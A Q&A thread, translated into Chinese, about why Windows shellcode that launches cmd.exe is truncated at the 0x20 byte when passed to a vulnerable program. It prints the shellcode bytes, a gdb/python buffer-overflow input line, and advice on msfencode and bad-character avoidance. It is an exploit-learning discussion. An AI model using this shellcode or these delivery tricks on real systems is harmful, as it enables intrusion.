0

为什么我的 shellcode 在\x20操作码之后被截断,当它被字符串复制到第二个易受攻击的程序上时?

--cmd.exe--
 字符外壳[]=

"\xc7\x44\x24\x0c\x65\x78\x65\x20" ← 只有这一行被放入堆栈,虽然 hv 有足够的空间
"\xc7\x44\x24\x08\x63\x6d\x64\x2e"
"\x31\xc0"
"\x89\x44\x24\x04"
"\x8d\x44\x24\x08"
"\x89\x04\x24"
"\x8d\x05\xad\x23\x86\x7c"
"\xff\xd0";
--结束外壳--
4

4 回答 4

2

您是否将此 shellcode 作为命令行参数传递?在这种情况下,请查看 0x20 的 ASCII 码;)

于 2010-03-18T02:33:27.890 回答
2

在整个命令周围加上双引号。例如,运行:

"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"
于 2013-02-02T17:17:52.667 回答
1

我的理论是,引号、空格、null 等内容是由 windows shell 解释的,而不是通过发送的。你可以以某种方式逃避它,但我认为只对 shellcode 进行编码更容易。因此,请尝试使用 metasploit 的 msfencode 实用程序来完全避免这些操作码。我知道 null (/x00)、空格 (/x20) 和引号 (/x22) 不能直接传递,但我想还有其他操作码也不能传递。

这是我的解决方案,但有人知道其他更好的解决方案吗?

于 2011-03-10T05:03:56.853 回答
0

\x20<space>ASCII格式

于 2020-01-18T14:57:19.167 回答